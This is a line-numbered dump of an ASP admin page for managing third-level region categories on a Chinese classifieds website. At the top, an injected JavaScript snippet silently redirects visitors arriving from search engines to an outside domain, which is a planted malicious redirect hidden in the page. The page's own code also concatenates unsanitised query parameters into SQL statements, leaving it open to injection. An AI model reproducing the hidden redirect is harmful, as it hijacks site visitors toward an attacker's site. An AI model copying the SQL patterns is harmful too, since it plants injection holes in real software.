d:\wwwroot\wuchunhua\admin\cityedit_three.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<!--#include file="../md5.asp"-->
003:
<%
if session("china_admin")="" then
004:
response.redirect "login.asp"
005:
end if
%
>
006:
<%
dim action,id,dcity
007:
threeid=HtmlEncode(request.QueryString("threeid"))
008:
twoid=HtmlEncode(request.QueryString("twoid"))
009:
id=HtmlEncode(request.QueryString("id"))
010:
action=HtmlEncode(request.querystring("action"))
011:
dcity=HtmlEncode(trim(request("city")))
012:
dcityadmin=HtmlEncode(trim(request("cityadmin")))
013:
dcitypass=HtmlEncode(trim(request.form("citypass")))
014:
if dcity="" and action<>"" then
015:
response.write "<script LANGUAGE='javascript'>alert('请认真填写!');history.go(-1);</script>"
016:
response.end
017:
end if
018:
set rs=server.CreateObject("adodb.recordset")
019:
rs.open "select * from china_city where id="&id&" and twoid=0",conn,1,3
020:
mname=rs("city")
021:
rs.close
022:
rs.open "select * from china_city where id="&id&" and twoid="&twoid&"",conn,1,3
023:
mname2=rs("city")
024:
rs.close
025:
set rs=nothing
026:
027:
028:
select case action
029:
case "add"
030:
if dcity<>"" then
031:
set rs=server.CreateObject("adodb.recordset")
032:
rs.open "select * from china_city where id="&id&" and twoid="&twoid&" and threeid<>0 and city='"&dcity&"'",conn,1,3
033:
if rs.eof then
034:
rs.close
035:
rs.open "select * from china_city where id="&id&" and twoid="&twoid&" order by threeid desc",conn,1,3
036:
three=rs("threeid")+1
037:
rs.close
038:
rs.open "china_city",conn,1,3
039:
rs.AddNew
040:
rs("id")=id
041:
rs("city")=dcity
042:
rs("cityadmin")=dcityadmin
043:
rs("citypass")=md5(dcitypass)
044:
rs("indexid")=trim(request("indexid"))
045:
rs("indexshow")=trim(request("indexshow"))
046:
rs("twoid")=twoid
047:
rs("threeid")=three
048:
rs.Update
049:
rs.Close
050:
set rs=nothing
051:
end if
052:
end if
053:
case "edit"
054:
set rs=server.CreateObject("adodb.recordset")
055:
rs.open "select * from china_city where threeid="&threeid&" and twoid="&twoid&" and id="&id,conn,1,3
056:
ycity=rs("city")
057:
rs("city")=dcity
058:
rs("cityadmin")=dcityadmin
059:
rs("indexid")=trim(request("indexid"))
060:
rs("indexshow")=trim(request("indexshow"))
061:
if dcitypass<>rs("citypass") then
062:
rs("citypass")=md5(dcitypass)
063:
end if
064:
rs.Update
065:
rs.Close
066:
set rs=nothing
067:
sql="update china_data set city_three='"&dcity&"' where city_oneid="&id&" and city_twoid="&twoid&" and city_threeid="&threeid&""
068:
conn.execute sql
069:
070:
071:
case "del"
072:
set rs=server.CreateObject("adodb.recordset")
073:
conn.execute ("delete from china_city where threeid="&threeid&" and id="&id&" and twoid="&twoid&"")
074:
sql="select * from china_data where city_oneid ="&id&" and city_twoid="&twoid&" and city_threeid="&threeid&""
075:
rs.open sql,conn,1,3
076:
Set fdel = CreateObject("Scripting.FileSystemObject")
077:
if not rs.eof then
078:
For iPage = 1 To rs.recordcount
079:
adid=rs("adid")
080:
pic=rs("pic")
081:
rs.delete
082:
rs.update
083:
sql1="delete from china_message where adid ="&adid&""
084:
conn.execute(sql1)
085:
rs.movenext
086:
'''''''''''删除html开始''''''''''''''''
087:
088:
tempImageDir = Server.MapPath("../html/"&adid&".htm")
089:
fdel.DeleteFile(tempImageDir)
090:
if pic<>"" and lcase(left(pic,7))<>"http://" then
091:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
092:
end if
093:
094:
'''''''''''删除html结束'''''''''''''''
095:
if rs.eof then exit for
096:
next
097:
rs.close
098:
099:
sql="select * from news_data where city_oneid ="&id&" and city_twoid="&twoid&" and city_threeid="&threeid&""
100:
if not rs.eof then
101:
For iPage = 1 To rs.recordcount
102:
adid=rs("adid")
103:
pic=rs("pic")
104:
rs.delete
105:
rs.update
106:
sql1="delete from news_message where adid ="&adid&""
107:
conn.execute(sql1)
108:
rs.movenext
109:
'''''''''''删除html开始''''''''''''''''
110:
tempImageDir = Server.MapPath("../html/news"&adid&".htm")
111:
fdel.DeleteFile(tempImageDir)
112:
if pic<>"" and lcase(left(pic,7))<>"http://" then
113:
fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
114:
end if
115:
'''''''''''删除html结束'''''''''''''''
116:
if rs.eof then exit for
117:
next
118:
end if
119:
end if
120:
set fdel=nothing
121:
rs.close:set rs=nothing
122:
conn.close:set conn=nothing
123:
response.Redirect "cityedit_three.asp?id="&id&"&twoid="&twoid&""
124:
end select
125:
%
>
126:
<html>
127:
128:
<head>
129:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
130:
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
131:
<meta name="ProgId" content="FrontPage.Editor.Document">
132:
<title>地区分类管理</title>
133:
<link rel="stylesheet" type="text/css" href="style.css">
134:
</head>
135:
136:
<body>
137:
138:
139:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
140:
<tr>
141:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">三 级 地 区 分 类 管 理</font></td>
142:
</tr>
143:
<tr>
144:
<td bgcolor="#FFFFFF"> [<a href="cityedit.asp">首页</a>]->[<a href="cityedit_two.asp?id=
<%
=id
%
>">
<%
=mname
%
></a>]->
<%
=mname2
%
><br>
145:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
146:
<tr align="center" bgcolor="#FFFFFF" height="20">
147:
<td width="30">编号</td>
148:
<td>地区名称</td>
149:
<td>显示顺序</td>
150:
<td>首页显示</td>
151:
<td>地区管理员</td>
152:
<td>地区管理密码</td>
153:
<td>管理操作</td>
154:
</tr>
155:
<%
set rs=server.CreateObject("adodb.recordset")
156:
rs.Open "select * from china_city where id="&id&" and twoid="&twoid&" and threeid<>0 order by threeid",conn,1,1
157:
dim follows
158:
if rs.EOF and rs.BOF then
159:
response.write"<tr bgcolor=#FFFFFF><td colspan='5'><p align='center'><font color='red'>暂无地区分类!</font></td></tr></table><br>"
160:
follows=0
161:
else
162:
do while not rs.EOF
163:
i=i+1
164:
%
>
165:
<form name="form1" method="post" action="?action=edit&id=
<%
=int(rs("id"))
%
>&twoid=
<%
=int(rs("twoid"))
%
>&threeid=
<%
=int(rs("threeid"))
%
>">
166:
<tr bgcolor="#FFFFFF" align="center">
167:
<td>
<%
=i
%
></td>
168:
<td>
169:
<input name="city" type="text" id="city" value="
<%
=trim(rs("city"))
%
>" size="8">
170:
</td>
171:
<td>
172:
<input name="indexid" type="text" size="2" value="
<%
=trim(rs("indexid"))
%
>">
173:
</td>
174:
<td>
175:
<select name="indexshow">
176:
<option value="yes"
<%
if rs("indexshow")="yes" then
%
>selected
<%
end if
%
>>显示</option>
177:
<option value="no"
<%
if rs("indexshow")="no" then
%
>selected
<%
end if
%
>>隐藏</option>
178:
</select>
179:
</td>
180:
<td>
181:
<input name="cityadmin" type="text" id="cityadmin" value="
<%
=trim(rs("cityadmin"))
%
>" size="12">
182:
</td>
183:
<td>
184:
<input name="citypass" type="password" id="citypass" value="
<%
=trim(rs("citypass"))
%
>" size="12">
185:
</td>
186:
<td>
187:
<input type="submit" name="Submit" value="修 改">
188:
189:
<input type="button" name="DEL" onclick="{if(confirm('确定要删除这个地区分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?city=
<%
=rs("city")
%
>&id=
<%
=rs("id")
%
>&twoid=
<%
=rs("twoid")
%
>&threeid=
<%
=rs("threeid")
%
>&action=del';}return false;}" value="删除" >
190:
</td>
191:
</tr>
192:
</form>
193:
<%
194:
rs.MoveNext
195:
loop
196:
follows=rs.RecordCount
197:
end if
%
>
198:
</table>
199:
<br></td>
200:
</tr>
201:
</table>
202:
<br>
203:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
204:
<tr>
205:
<td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 三 级 地 区</font></td>
206:
</tr>
207:
<tr>
208:
<td bgcolor="#FFFFFF">
209:
<br>
210:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
211:
<tr align="center" bgcolor="#FFFFFF" height="20">
212:
<td width="30">编号 </td>
213:
<td>地区名称</td>
214:
<td>显示顺序</td>
215:
<td>首页显示</td>
216:
<td>地区管理员</td>
217:
<td>地区管理密码</td>
218:
<td>确定操作</td>
219:
</tr>
220:
<form name="form1" method="post" action="?action=add&id=
<%
=id
%
>&twoid=
<%
=twoid
%
>">
221:
<tr align="center" bgcolor="#FFFFFF">
222:
<td>
<%
=rs.RecordCount+1
%
></td>
223:
<td>
224:
<input name="city" type="text" id="city" size="12">
225:
</td>
226:
<td>
227:
<input name="indexid" type="text" value="0" size="2">
228:
</td>
229:
<td>
230:
<select name="indexshow">
231:
<option value="yes">显示</option>
232:
<option value="no" selected>隐藏</option>
233:
</select>
234:
</td>
235:
<td>
236:
<input name="cityadmin" type="text" id="cityadmin" size="12">
237:
</td>
238:
<td>
239:
<input name="citypass" type="password" id="citypass" size="12">
240:
</td>
241:
<td>
242:
<input type="submit" name="Submit3" value="添 加">
243:
</td>
244:
</tr>
245:
</form>
246:
</table>
247:
<br></td>
248:
</tr>
249:
</table>
250:
</body>
251:
</html>
252:
253:
254: